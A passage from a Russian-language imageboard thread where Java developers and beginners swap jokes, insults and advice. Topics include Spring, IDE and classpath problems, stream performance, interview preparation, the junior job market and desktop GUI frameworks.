2. Больше ошибок можно выявить на этапе компиляции.
742 2253469
>>253446
А минусы?
743 2253497
Вот в вижле можно одной кнопкой создать приложение ASP.NET, а как в Java создать проект Spring?
744 2253499
>>253497
Это троллинг такой? Spring intializer для кого придумали?
newproject.jpg31 Кб, 799x812
745 2253515
>>253499
А он есть в бесплатной версии? Не могу найти что-то
746 2253544
>>253515
Он есть на хттпс://старт.спринг.ио
sage 747 2253569
>>253469
Сложность. Зависимость от плагинов и системы сборки
sage 748 2253572
>>253515
Встроенная поддержка спринга есть только в платной идее
749 2253724
>>253515
У меня есть почему-то. Остального из спринга нет.
>>253569
Процессоры аннотаций - нативная для джавы штука.
750 2253732
>>253724

> Процессоры аннотаций - нативная для джавы штука.


Настолько нативная, что не запускается автоматически при компиляции?
751 2253751
>>253732
Что значит автоматически? При компиляции есть отдельный флаг для javac. Да, это в отличие от мавен плагинов нативно.
752 2253753
>>253751
Ты через javac собираешь спринговые приложения?
753 2253755
>>253753
А твоя система сборки собирает приложения как-то без использования javac что ли?
754 2253757
>>253755
Так систему сборки придётся хитро конфигурировать, чтобы она вызвала ебаный процессор аннотаций. Либо, чтобы было не хитро, писать плагины для неё, привязываясь таким образом к ней.
755 2253759
>>253757
че несет блядь
756 2253766
>>253755
Что ты докопался до пацана, он зелёную кнопочку в идее нажимает и всё запускается
757 2253776
>>253766
Так и должно быть в 2023 году. Независимость от системы сборки и волшебный спринг, конфигурируемый без программирования.
758 2253788
НЕ ДОЖДАЛИСЬ
https://habr.com/ru/post/599003/
759 2253851
>>253788
Не дождались чего? Возможности использовать жабу не по назначению?
760 2253858
>>253788
Лучше бы написал как решить проблему отсутствия беззнаковых целых и полного набора битовых операций.
761 2253861
>>253858
Проблемы нет.
762 2254256
нужно посвящать себя только Spring
остальное мне не нужно
Java это процессор аннотаций
я люблю аннотации
763 2254262
>>254256
Нет, это процессор XML.
764 2254645
>>254256
А что еще может быть нужно?
765 2254650
Apache Camel
766 2254651
767 2254674
>>254262
Это хокку?
768 2254679
769 2254721
>>254650
Зачем? Чем он лучше спринга?
Расскажите про другие джава фреймворки, кто пользовался!
770 2254728
>>254721
Это аналог не всего спринга, а spring integration. Не лучше, да и вообще не нужен.
771 2254739
>>254721
>>254728
Мне понравился DSL и что куча модулей под множество интеграций уже написано.
Мы использовали Spring Boot + Camel, было весело.
772 2254909
Чем занимается Java-разработчик? Если пишет бэкенд, то заставляют ли заниматься ещё и фронтендом?
shildt.jpg91 Кб, 894x755
773 2254959
Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии?
774 2254999
>>254959

>Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии?


Да, надо купить платную версию терминала, там нет ограничений на запуск приложений.

Запусти через стрелочку и посмотри с какими параметрами запускает IDEA, потом погугли доки и убери все лишние параметры.
shildtvscode.jpg44 Кб, 659x387
775 2255004
>>254999
Скачал бесплатный VS Code и всё завелось без проблем. Вывод: продукты жидбрейнса - кал. Ещё и деньги требуют за своё говно.
776 2255007
>>255004
Причем тут гуи? Посмотрти внимательно из какого каталога ты пытался запустить свое приложение.
777 2255008
>>255004
Все правильно сделал! А теперь скачай сисярп и съеби из треда, даун.
778 2255015
>>255007
На деле получается, что иде влияет. Она как-то блокирует или подменяет пути, но как именно - не понятно. В гугле пишут, что там надо с путями играться. Как по мне это говорит о низком качестве продукта. Возможно в платной версии не так и всё работает из коробки.

>>255008
Шилдт не пишет больше про сисярп, поэтому я решил изучать джаву. Тем более синтаксис похож и я быстро вкачусь.
779 2255034
>>255015

>Возможно в платной версии не так и всё работает из коробки.


Никакая платная версия не выпрямит твои кривые руки и не исправит нежелание разбираться.
https://habr.com/ru/post/125210/
image.png14 Кб, 484x271
780 2255086
Подскажите, я вот например хочу загрузить список 50 имен в массив, и каждое имя вывести в консоль.
Как это прописать?
781 2255105
>>255007
>>255008
Нахуй вы ему отвечаете, видно же что это мегажирный дурачок, который пытается всех затраллеть))0)
782 2255109
>>255086
load50NameIntoArray();
printEveryNameFromArray();
Реализация данных функций тривиальна и дается читателю как домашнее задание.
783 2255116
>>255086
String names = new String[] { "Alex", "David", "Maria" };

А дальше в теле цикла:

System.out.println( names );
346iRaARX5.png2 Кб, 281x22
784 2255117
>>255086
>>255116
Разметка проебалась
mkJXxG1NVj.png52 Кб, 638x102
785 2255119
>>255116
Бля, разметка фейлится
786 2255123
>>254959
Да, нужно приобрести лицензию на джаву иначе не запустится. Либо скачать пиратку.
787 2255136
>>255008
А как ты вообще догадался про сисярп? По нестандартной цветовой схеме под вижлу?
788 2255147
>>255123
Но ведь в VS Code всё получилось! Значит джава нормальная стоит, а проблема в IDE от жидбрейнсов.
Вообще, у меня возникает диссонанс, что джава позиционируется у многих как открытый продукт, а всё ПО для неё почему-то платное. В то время как проприетарный шарп имеет абсолютно бесплатные полнофункциональные IDE.
789 2255151
>>255147
Эклипс и Нетбинс бесплатные.
790 2255166
Умиляет в командной строке из по WIndows вот этот промпт PS> в каждой строке.
Это на всякий случай, чтоб ты вдруг не забыл, что ты в повершелле.
791 2255187
Ну вот допустим есть цикл в стиле for each
for(int x : arrays) {
...
}
В переменной x можно взять текущее значение. А как мне получить ключ или индекс? К примеру, выполняется поиск значения. Значение-то я нашёл, а что возвращать? Ключа-то нет!
792 2255190
>>254959
>>255004
В первом случае есть пакет shildt и нужно запускать из папки Example - java shildt.Example
Во втором случае пакет дефолтный И запускается из текущей папки.
Причем тут иде? Это троллинг тупостью?
shildt2.jpg73 Кб, 831x500
793 2255193
>>255190
Я уже все варианты перебрал и в гугле искал ответ. Не работает ни как.
Вместо того, чтобы соревноваться в остроумии и оскорблениях, лучше бы сами попробовали на бесплатной версии.
794 2255194
>>255187
Блин, и правда.
795 2255197
>>255193
А ты его перед этим скомпилил? javaс shildt/Example.java
Или говношилдт не пишет, как нужно компилировать хеловорды с недефолтными пакетами?
796 2255203
>>255197
IDE же сама их компилит через Build или она что-то другое создает под видом файла Example.class?
797 2255204
>>255203
Идея по дефолту компилит в отдельную папку чтобы не засирать проект класс-файлами.
798 2255207
>>255204
Ну дак я из этой папки и запускаю.
799 2255211
>>255193
Помогу тебе если ты извинишься за свои выебоны на джаву
800 2255213
>>255207
Ну у тебя судя по картинке Example.class не в папке Example/shildt, а в папке Example. Ты чета нахуевертил.
801 2255214
>>255147
В взкоде пиратская джава стоит.
802 2255216
вообще рекомендую вкатунам удалить джаву и установить спринг там все эти проблемы давным давно решены
803 2255227
>>255216
Им бы битрикс установить, а не спринг.
804 2255233
При каком количестве объектов уже не следует использовать стримы? 15-20к, полагаю, перебор?
805 2255235
>>255233
Стримы вообще не стоит использовать, они блокирующие и устарели. Сейчас лучше брать каналы.
806 2255237
>>255235
Какие еще каналы?
807 2255240
>>255237
Это шизик из go-треда.
809 2255276
>>255187

>А как мне получить ключ или индекс?


Если нужен индекс то старообрядный for со счетчиком.
Если ключ, то итерироваться по entrySet().
810 2255282
>>255187
Напиши свою реализацию List'a в котором будут ноды, знающие своё положение. Теоретически забавный кейс
811 2255290
>>255246
Он спрашивает про стримы для коллекций, а не ввод-вывод.
https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html
812 2255292
>>255290

>Он спрашивает про стримы для коллекций


А ты почему отвечаешь за него? Ты его мамка или кто?
813 2255295
>>255292
А тебя ебёт?
814 2255303
>>255235
Как будто бы все каналы неблокирующие.
Вообще, неблокирующий IO в джаве сделан как-то по уебански, использовать каналы и селекторы можно только для SocketChannel и вроде бы пайпов. Асинхронные файловые каналы возвращают фьючи, а не комплетабл фьючи, что уже сильно неудобно. Для неблокирующего ввода из консоли походу вообще нет ничего.
Почему нет функции вроде asyncRead(FileDescriptor, Consumer), чтобы можно было бы сразу повесить коллбек который вызовется при завершения чтения?
815 2255315
>>255193
У тебя опять воркдир не тот. Это не IDE плохая, это ты пока что плохо терминал освоил или невнимательно смотришь.
816 2255347
>>255233
О каких стримах речь?
817 2255357
>>255347
Ну stream api, каких же еще.
818 2255382
>>255357
Да хоть сколько, это тот же самый итератор под капотом, суть такая же. А в некоторых случаях даже лучше будет, например Files.lines читает строки лениво, вместо загрузки всего файла целиком сразу.
819 2255387
>>255382
Ладно.
820 2255399
>>255387
Прохладно нахуй. У стримов другие минусы, не связанные с количеством элементов, но связанные с устройством самой жвм. Из очевидного это effective final переменные и checked exception. Ну и ещё футпринт от анонимных классов. В котлиняше это всё было элегантно решено с помощью инлайн функций. Жабе позорной должно быть стыдно.
821 2255406
822 2255409
>>255406
Хуёк нахуй.
stream-perfomance.png67 Кб, 615x1039
823 2255432
>>255233
Вот на похожий вопрос о перфомансе стримов ответ от одного из главных джавистких рускоязычных гуру - от Тагира Валеева.
824 2255462
>>255432
Спасибо.
825 2255484
Лучшее из того, что мне встречалось для подготовки к интервью. И как всегда самое ценное, самое непопулярное.
https://inponomarev.ru/corejava

А также, чуть раньше нашел подборку из 20-ти записей собеседований с крутыми, вполне, на мой взгляд, реалистичными вопросами и алгоритмическими задачами на интервью (плейлист).
https://www.youtube.com/watch?v=XZIwI_bdNKU&list=PLlsMRoVt5sTMMCwd_gLaaZMkQhzVh9hLA

Хочу поделиться своей находкой для анонов, которые ищут/меняют работу или хотят импрувнуть/освежить свои знания.

Посмотрев некоторые из этих материалов, я даже возымел дерзновение предложить эти материалы в регулярный ОП-пост в шапку. Например, создав раздел "подготовка к интервью на позицию Java-backend developer" или в этом роде.
826 2255529
>>255484
Курс хороший, но скорее для вкатунов. Для собесов мфтишный курс недостаточно подробен.
Судя по трем проваленным собесам на джуна. Нужно:
- на зубок знать Arraylist, hashmap/set, linkedhashmap/set, treemap/set, в том числе О-большое большинства методов, концептуально понимать еще десятка два коллекций, знать иерархию и тд.
- основы ооп в джаве, основы модели памяти, как и что передается в метод.
- иерархия исключений.
- особенности сущностей в jpa, особенности типов связей между сущностями
Это спрашивали все три раза. Многопоточку не спрашивали ни разу. Остальные вопросы по джвакору/хиберу/спрингу были сильно разные.
ekkel.jpg85 Кб, 859x486
827 2255561
Это такой троллинг? Автор путает Java и JavaScript?
828 2255565
>>255211
Не буду! Только в больном мозгу могла родиться идея сделать byte знаковым.
829 2255705
>>255561
Это запросто может быть не автор, а переводчики/редакторы, после которых порой код в примерах не компилируется.
830 2255781
>>255529

>концептуально понимать еще десятка два коллекций


А какие еще есть коллекции? Ну там очередь с приоритетами есть, всякие concurrent коллекции. Их чтоли?
831 2255783
>>255529
И где взять вопросы по коллекциям? Там прямо по кишкам гоняют, по всяким красночерным деревьям или нужно в общих чертах знать что под капотом находится у коллекций и какая сложность у методов.
832 2255787
>>255561
Мошенник он. Продавец воздуха. Спекулянт.
833 2255802
>>255783
Сергей Немчинский говорит, что к собесам не надо готовится. Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.
834 2255803
>>255781
Queue, Deque, Skip list, Ring buffer и всякие деревья.
835 2255805
>>255802
На собеседованиях спрашивают внутреннее устройство хешсета, а на работе ты всегда можешь погуглить какой аннотацией включить хуйнянейм в спринге. Поэтому хз, утверждение Немчинского относится, вероятно, к тем временам, когда интернета не было в том виде как сейчас.
836 2255808
В спринг бут 3 надеюсь наконец-то включат спринг клауд?
837 2255815
>>255802
Пиздит
838 2255822
>>255802

> Сергей Немчинский


Толсто.

> Надо рассказывать, что знаешь на текущий момент, потому что иначе ты всё равно не справишься с работой потом.


Ага, поясняешь за 10 деревьев и 20 сортировок, чтобы потом на работе везде юзать ArrayList, Arrays.sort() и всё готовенькое.
839 2255873
>>255805
>>255822
Можно не отвечать на их тупые вопросы или так и говорить, что это всё гуглится за 2 секунды и учить нет смысла. Сами же себя загоняете в неудобное положение.
840 2255877
>>255873
Мы вам перезвоним.
841 2255901
>>255802
Так и сделал когда летом работу искал. В итоге отсеял хуесосов, которые доёбывались с внутренними алгоритмами сборщиков мусора, историями "а у нас нет коллекцией и сортировать нельзя что будешь делать", "как так, не помнишь какие методы у массивов"

В итоге самый большой оффер был на 240, самый маленький (не считая отказов) 135, пошёл на 200 с премиями и кайфом
842 2256082
Ебучий мавен, постоянно какие ошибки при сборке и от студии, не находит даже самые стандартные плагины, как вкатываться в эту парашу?
843 2256094
>>255901
На мидла удаленно? РФ?
844 2256112
>>256082

>при сборке и от студии


че?
845 2256140
>>256082
Если ты про андроед студию, там только гредл используют.
846 2256142
>>256140
Учитывая, какие шизы тут сидят, он скорее всего про visual studio code.
847 2256144
>>256140
>>256142
Нет, я про idea, понятия не имею зачем я студией называю
848 2256167
>>256094
На мидла, что-то было удалённо, что-то нет. Большая часть вакансий удалённые. РФ
849 2256361
>>256167
Так на милла сильно другой разговор чем на трейни/джуна. Там предложений на каждого соискателя сильно меньше. Мне, чтобы вообще позвали на три собеса на сто откликов в месяц даже опыт в три месяца пришлось нарисовать. До этого месяц слал тоже удаленку, из 50 откликов прислали 4 тестовых из них 2 совсем неадекватных.
Но мне кажется у джунов все так плохо именно на удалёнке. На одном из собесов мне челик сказал, мол если в мск приедешь, то можем тебя взять джуном на 40к. У него есть джуны хуже меня. Но удаленка только для "самостоятельного" мидл+.
Возможно придётся реально ехать в мск и работать полгода год чисто на аренду комнаты и билет на метро, а на еду и одежду клянчить у мамки и занимать. А потом возвращаться в мухосрань на удаленку.
850 2256372
Пересел на сетап блокнот + мавен + соснулька для мелких пет-проектов, потому что любая жабовская IDE любая одна из двух существующих тормозит как сука.
И сразу же охуел оттого, что приходится ручками искать и вставлять импорты.
Стандартные пакеты жабы худо-бедно помню, но представил когда придется юзать хибер, спринг, обвес для тестирования (JUnit, Mockito, матчеры) и прочий кал, я же просто ебнусь нахуй.
Кто-то в таком режиме кодит, есть кулстори?
851 2256374
>>256372

>Кто-то в таком режиме кодит, есть кулстори?


Только дебилы. Тормоза на бюджетной пеке, уровня современного и3 + 8гб доставляют намного меньше головной боли, чем бойлерплейт джавы.
852 2256375
>>256372
Либо иде тормозит пока ищет пакеты, либо ты.
853 2256515
>>256361
Раз ты мухосранец, то нужно было учить php, ну или js, если у вас в городе есть вакансии на него.
А так, чтобы войти в айти на джаву, нужно еще в вузе идти на стажировки и подработки. То есть тебе нужно было поступить в ДС вуз, доучиться до 3-4 курса, и начать искать работу. А ты не с того входа начал стучаться в айти.
854 2256522
>>256515
Фронт я не люблю и не умею. Хотя изучил поверхам жс, в том году. И постоянно подмывает начать учить реакт, чтобы учебные проекты на спринге было веселее писать.
Ну может надо было с пыхи начинать. Но запудрил мозги себе всем этим пранебрежением к динамике вообще, а к пыху принебрежение в квадрате.
Но я вообще думал в андроед вкатыаться. После двух дней вступительных уроков понял, что андроед это тот же фронт.
Но я уже 2.5 года просрал на вкат, из них год на джаву, год на хибер и спринг(и еще полгода собираюсь просрать).
Я просто учился и учился. А тут прочекал рынок в октябре и понял, что будет сложно.
Попробую еще с удаленкой поебаться до весны.
855 2256538
>>256522
Странно, за 2 года вката работу найти обычно очень легко?
Ты точно эти 2 года учился, а не просто пинал хуи или зачитывался какими-нибудь талмудами вместо написания петпроджектов и чтения мурзилок?
856 2256565
>>256538
Ну ты во всем угадал, так то. Но я не мог пойти по быстрому пути, который тебе кажется правильным. Мне надо было проебать кучу времени, чтобы убедить себя, что это мне нравится.
Я тратил очень мало времени в неделю первый год. И читал талмуд Хорстмана, проходил джетбрейнс академию, курс лекций от МФТИ смотрел, читал всякие говностатьи на Хабре, записи конференции, ещё чилово вкатывался(ну много прокрастинировал, но не жалею, так было легче психологически). Ещё от дня до 3 я потратил на пых, питон и андроид, чисто прощупать почву. Ну это мне некоторой уверенности придало. Я помню начинал по вашей любимой русскаязычной мурзилке этого треда по - метаниту. И вообще нихуя не понял. Сейчас мне кажется этого бы хватило. Все равно все сложные моменты, что я пересмотрел в 4 местах я один хуй забыл, а некоторые и вообще не понял. Особенно это видно во время проработки вопросов после проведенного собеса.
Петпроекты до спринга тоже не начинал само собой.
857 2256658
Вот есть у меня в спринге интерфейс ZalupaService. И есть класс ZalupaServiceImpl implements ZalupaService с аннотацией @Service. И еще в тестах есть класс ZalupaServiceStub extends ZalupaServiceImpl с аннотациями @Primary и @Service. Как спринг определяет, что оба класса имеют тип ZalupaService?
858 2256661
>>256658
Через рефлексию.
859 2256670
>>256661
А поподробнее?
860 2256681
>>256670
Глянь исходники этого метода
org.springframework.util.ClassUtils#getAllInterfaces
861 2256682
>>256681
Я не о реализации. Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом? Почему он инжектится туда, где нужен ZalupaService?
862 2256693
>>256682

>Как именно спринг понимает, что этот класс должен присутствовать в контексте именно с этим типом?


Класс должен присутствовать в контексте потому что ты объявил его бином с помощью аннотации @Component.

>Почему он инжектится туда, где нужен ZalupaService?


Потому что спринг видит, что нужно заинжектить сервис в конкретное поле с конкретным типом. Идёт в контейнер и ищет подходящие классы по типу, чтобы их заинжектить, потом инжектит
863 2256706
>>256693

>Идёт в контейнер и ищет подходящие классы по типу


Как? В контейнере есть только ZalupaServiceStub. Чтобы узнать о том, что этот класс подходит, надо узнать иерархию сервисов, начиная с интерфейса ZalupaService. Выходит спринг должен знать всех наследников интерфейса/класса, чтобы правильно заинжектить объект.
864 2256707
>>256706
Спринг перебирает все бины в контексте и ищет среди них те, что реализуют интерфейс или имеют нужного предка.
865 2256709
>>256707

>Спринг перебирает все бины


Ой пизда, не удивиительно, что оно так медленно работает.
866 2256714
>>256709
Работало бы быстрее, если бы инжектилось в компайл-тайме. DI-параша вообще не про перформанс.
867 2256719
>>256706
В смысле, ты чего-то не то пишешь.

> В контейнере есть только ZalupaServiceStub


А ZalupaServiceImpl куда дел? У тебя он тоже же объявлен как @Service

> Должен знать всех наследников


Нет, зачем? В наивной реализации достаточно при необходимости инжекта взять все бины из контейнера, пройтись по ним и их родителям (а не наследникам), дабы подобрать подходящий бин
868 2257053
Вкатываюсь в ваадин, на сайте их стартера https://start.vaadin.com/ набросал компонентов со статусом PRO (типа платные вроде), скачал. А что дальше? Как работают эти ПРО компоненты? Когда мне придется за них заплатить, если пилю приложение для локального пользования?
869 2257200
>>232293 (OP)
https://hh.ru/vacancy/50178469

> ТРЕБУЕТСЯ опыт коммерческой разработки на Java+Spring не менее 1,5 лет;


> НЕОПЛАЧИВАЕМЫЙ курс продолжительностью 2 месяца;



Что с ебалом, свидетели дефицита кадров?
870 2257202
>>257200
Так это для вкатунов обоссанных, для белых людей другие вакансии
871 2257205
>>257202
Откуда ты знаешь?
872 2257210
>>257205
Потому что ты нашёл какую-то одну странную вакансию, хотя в нормальных галерах типа люксофта с ходу берут на работу на зарплату и потом либо сразу на проект закидывают, либо проект подбирают, либо отправляют на курсы повышения квалификации. И всё это время выплачивают зарплату. У меня так приятель два месяца отдыхал
873 2257213
>>257210
А ты что в это время делал?
874 2257214
>>257213
Работал, что же ещё
875 2257215
>>257210

>в нормальных галерах


Это там где танцевать на камеру и записывать мотивационное интервью на английском?
876 2257217
>>257215
Я про люксофт/епам, а не DataArt. Но вообще согласен, нахуй надо работать на галере
877 2257229
>>257214
Не ври мне.
878 2257247
>>257229
В тред допускаются только Java разработчики, иди отсюда
javaswing.jpg52 Кб, 594x559
879 2257282
>>257247
А мне можно к вам?
880 2257284
>>257282
Без проблем, залетай, велкам
881 2257291
Тут вроде были аноны из РБ?
Как вообще вкатиться если даже некуда сходить просто попробовать собеседования, вакансий тупо нихуя
inb4 едь в москвуЯ уже неиронично думаю об этом
882 2257422
Почему JavaFX исключили из пакета SDK?
883 2257423
>>257422
Потому что НИНУЖНА.
884 2257426
>>257423
Зато нужны свинг и авт.
885 2257431
>>257426
Бэквард компатибилити превыше всего.
886 2257521
>>257422
В liberica jdk есть сборки с javafx.
887 2257523
На собесах гоняют по Спрингу? Что спрашивают, что про него можно сказать, кроме того что это умный IoC-контейнер?
888 2257524
>>257523
Рассказать в общих чертах, как этот волшебный контейнер запускается и работает.
889 2257529
>>257524
Ну ладно, расскажу что знаю что такое MVC, data, aop и security.
А какие вообще по нему шаблонные вопросы? Я, к примеру, не смогу выучить на память все существующие аннотации и тд.
890 2257530
>>257291
Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.
На галерах, к слову, как раз джава чуть ли не самый популярный язык, может быть на втором месте после js.

>>257200
Так это курс для джунов, которые хотят мидлами стать, вопрос только зачем им курс, но может кому и полезен будет.

Или же в этой конторе просто жалеют денег на нормальных мидлов, поэтому берут джунов хоть с каким-нибудь опытом, посылают их на курсы, а после заставляют делать задачи мидлов за зарплату в 1.5 раза меньше.

>>257426
Исторически сложилось, что JavaFX хоть и был перспективной платформой, но не взлетел, так как к моменту его выпуска десктоп уже помирать начал, а та крохотная часть новых проектов стартовала на Qt или на Winforms/WPF, так как там уже было куча готовых вспомогательных библиотек, да и JavaFX был слишком сырой в момент его запуска. Поэтому его собственно и выкинули, ибо нехуй тащить за собой весь мусор, который к тому же не используется.

Swing и AWT хоть и куда более топорные инструменты, но тем не менее рабочие - вон все IDE от JetBrains написаны на них, и ничего, до сих пор работают кое-как. И они к тому моменту уже плотно использовались, поэтому их решили оставить и продлить поддержку до 2025 года. Потом может и выпилят, кто знает.
891 2257534
На момент запуска JavaFX рулил Adobe AIR, которому не получилось составить конкуренцию, ну а потом пришел электрон.
892 2257537
>>257534
JavaFX != апплеты.
893 2257538
>>257537
Так я про десктоп.
894 2257541
Хотя, когда я пришел собеседоваться в один НИИ, они там во всю используют JavaFX в качестве клиентов. ПО, военное, к слову, для вычисления траекторий движения боевых снарядов и все такое.
895 2257542
>>257537
Апплеты были похожы на ныне мертвые Adobe Flash и Silverlight, Adobe AIR про другое был. Один хуй все давным давно сдохло, чего сейчас вспоминать. Из живого их тех времен остался только Swing и Winforms/WPF.
896 2257543
897 2257548
>>257541
НИИ в Москве или где еще? Обычно все-таки JavaFX редкость в наши дни, но может у них кто-то в начале 10-х годов решил на FX писать шоб все кроссплатформенное было, и до сих пор они его поддерживают. А так, подобные софтины сейчас на Qt пилят наверное.
898 2257549
>>257548
СПб
899 2257551
>>257541
Ясно.
900 2257552
image.png20 Кб, 863x163
901 2257553
Если брать не только десктоп, а в принципе UI на джаве, включая относительно новый Vaadin, то как-то негусто выходит. 52 вакансии на всю Москву.
902 2257554
>>257553

>Vaadin


гавно
903 2257555
>>257554
А в чем он плох кстати? Все думал его попробовать, но так руки и не доходят? Прямо вот реально параша и не годится для прода?
904 2257556
>>257555
На фронтенде нет вариантов кроме жс
905 2257562
>>257529
Недавно ходил по собесам активно, расклад следующий:
- Знай про Spring AOP в общих чертах и подробнее про аннотацию @Transactional
- Пересмотри все доклады Борисова (спринг потрошитель). Это прям мастхев, по-моему на половине собеседований были вопросы с него
- Бин, скоупы бинов, жизненный цикл
- ComponentScan, особенности бута
- циклические зависимости, виды инжектов
906 2257565
>>257555
Мне понравилась идея, что можно писать веб-интерфейс на чистой жабе, но как начал его тыкать, увидел, что при сборке в папке проекта почвились ноде_,модулес, файлы вебпака и прочее жс-говно, будто оно нужно не ваадину, а мне. Погуглил и нашёл, что ещё пару лет назад ничего из этого не ставилось и заранее бандлилось в жарники. Ещё и тормозит, а хеллоуворлд на последней версии срёт ошибками ноды и не запускается. Ну и нахуй оно нужно, если всё равно приходится вляпываться в говноэкосистему жс.
Также тыкал аалогичные wicket, GWT и что-то ещё, но нормально со спринг бутом заработал только ваадин, остальное собирается только в варники и работает только на серверах приложений.

мимо
907 2257568
>>257541
Возможно по инерции перекатились со свинга. В европейском церне тоже его юзают. Тут итт пояснят что кроме спринг mvc больше ничего не надо, но по факту нет ничего плохого в том что используют вещи с которыми уже есть опыт и другие наработки. И переписывать работающие вещи на диаметрально противоположную экосистему просто потому, что что-то перестало быть популярным очень хуевая идея. Изучай в зависимости от целей, если для устройства - количество вакансий ты сам видел, но они все таки есть, значит спрос есть. Но лучше начать раньше собеседоваться чтобы не проебаться. Все равно на поддержке будешь сидеть и наберешься по ходу дела.
908 2257569
>>257565
Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников? В браузерах жэва работать не умеет разучилась, только разве что через костыли и webAssembly.
909 2257572
>>257568
Но подводный камень в том, что глубокие познания в JavaFX в дальнейшем тебе не помогут никак, в то время как Spring использовали, используют и еще лет 15 точно будут использовать.
Аналогично со свингом, но там хотя бы выбор работодателей побольше можно в jetbrains пойти формочки клепать
910 2257573
>>257569

>Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников?


Возмоно без кучи конечно, не обязательно же юзать говнофреймворки.
911 2257575
Вообще джава гуи используется в профессиональных софтинах. Тот же матлаб кроссплатформенный и гуй у него написан вроде как на жабе. Какой-нибудь siemens NX тоже кроссплатформенный и гуи не сама геометрия офк, а формочки вроде бы тоже на жабе написана, хотя может уже на qt переписали в современных версиях
912 2257576
>>257569
Сбандлить все эти js-файлы в жарник и раздавать их как статику. Клиент шлёт все события на сервер, тот их обрабатывает и возвращает клиенту готовый список операций над DOM. Оно так и работает, да и раньше тоже так работало, но не требовало всё собирать разрабам.
913 2257577
>>257573
А для жабы нормальных инструментов для ui в вебе не было никогда. Только GWT и Vaadin. Не считая шаблонизаторов вроде thymeleaf, но это немного другое все-таки
914 2257583
>>257572
Да пожалуйста, говорю все зависит от целей и задач. У меня нигде не используют ни одну из зависимостей спринга, и как он мне поможет делать ежедневную хуйню я даже представить не могу. И если захочу уйти, буду искать аналогичное по обязанностям говно, потому что связываться с веб парашей у меня никакого желания нет.
автоматизация чпу на заводике
915 2257605
>>257530

>Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.


Может я хуево ищу, хз
Есть вакансии просто Java Dev у епама, попробую туда на писать, хули
Есть у епама еще лаба какая-то, где ебашишь три месяца как на работе по 8 часов бесплатно и не факт что возьмут
Мне то похуй, я бы мог три месяца поебашить хоть за еду, главное что бы дальше взяли полноценно. Если с завода улюсь не возьмут назад
Летом кст был на мини курсах одной галерки, там из направления жава/андройд взяли 1 чела из 14 и то на андройд(в напралении жс тоже одного чела взяли из 15+ всего)
Потом еще на одни курсы говногалеры прошел, хотел отказаться но хрка меня даж уговаривала остатьсякек, но в итоге отменили все(возможно из-за очередного бурления говна по поводу галеры этой)
916 2257793
>>257521
Как конечный пользователь узнает, что ставить?
917 2257795
>>257793
Обычно jdk в гуи-приложухах на жабе лежат в инсталяторе и ставится во время инсталяции в папочку вместе с программой. Во всяком случае так работает с софтом госшараг с десктопными клиентами на свинге. Там до сих пор так иногда делают.
918 2257806
>>257793
Я просто сказал в каком sdk javafx есть по умолчанию. Хуй знает кто это юзает, потому что она в одну строчку подключается через гредл.
Но пользователю все равно ничего не надо знать, даже жабу не нужно иметь на пекарне. Если собирать через jpackage, минимальный образ jdk будет включен в дистрибьюцию. Или можно собирать сразу в нативный образ конечной платформы без жарников и AOT через graalvm, но там свои ограничения.
919 2257913
>>257562
Спасибо!
Про апплеты usershik142 920 2258021
Господа, от меня требуют по техзаданию апплет.

Мне стоит просто его написать, зная, что не все браузеры поддерживают java-аппоеты, или убедить, что написание мною java-апплета пустая трата времени и денег заказчика?
921 2258023
>>258021
Пиздец, не ввязывайся, это же мёртвая шляпа. Конечно надо убедить, что это мёртвое говно, только если тебе не предложат 300к/нсек
922 2258027
>>258021

> не все браузеры поддерживают java-аппоеты


Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
923 2258029
>>258021
За аплетами будущее! Их переделают на WebAssembly и они будут основной технологией во фронте.
924 2258106
>>258029
опять на связь выходишь шиз
925 2258162
>>258106
Шарфе уже блейзор есть
926 2258164
>>258162
А в жабе есть GWT.
Аноним 927 2258166
>>258027

>Очень часто в тырпрайзе 100%


Что такое "тырпрайз"?
928 2258173
>>258166
Это среда обитания жабы.
Аноним 929 2258182
>>258173
В каком смысле?
Среда разработки?
930 2258194
>>258182
Можно и так сказать в некотором смысле.
teacher 931 2258207
Устал писать на джаве, потому что вокруг одни дауны на этом языке пишут. Стоит перекатываться в скалу?
932 2258212
>>258207
Если нужно, чтобы вокруг были не дауны, перекатывайся в датасаенс.
sage 933 2258263
>>258207
А на скале есть работа?
934 2258289
>>258027

>Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.



Апплеты и флеш уже давным давно никто не поддерживает. Ну, может только разве Internet explorer времен винды7, но не более того. Сейчас даже в энтерпрайзах отказались от апплтов и флеша.
935 2258290
>>258207
А в чем даунизм проявляется? Можешь рассказать? А то все вокруг только и говорят об одебилевших 30 летних вкатывальщиков с заводов, это правда?
936 2258294
>>258289
Если бы.
937 2258546
А есть по JVM какая-нибудь добротная книга, где разбирают всё до уровня байт-кода?
938 2258562
>>258546
Спецификация JVM?
939 2258569
>>258562
Вот по шарпу есть книга Рихтера CLR via C#. Надо такую же, но JVM via Java.
teacher 940 2258584
>>258290
У меня вся команда из них, а меня тимлидом для них взяли ))
teacher 941 2258586
>>258212
Я математику любил, до того как в компанию свою попал.. там всё это было не нужно и забылось. Но может быть пора древнему знанию пробудиться.. Спасибо за совет
teacher 942 2258587
>>258263
Работа всегда есть
943 2258590
>>258546
>>258569
Единой книги нет. Есть статьи шипилева https://shipilev.net/jvm/anatomy-quarks/

Есть книжки средней паршивости здесь
https://www.java67.com/2019/08/best-books-to-learn-java-virtual-machine-in-depth.html

Думаю, этого более чем хватит. Тем более, что саму jvm особого смысла изучать нет, ну только если ты собираешься пилить эту самую jvm в дальнейшем в амазон коррето и оракл нужны люди
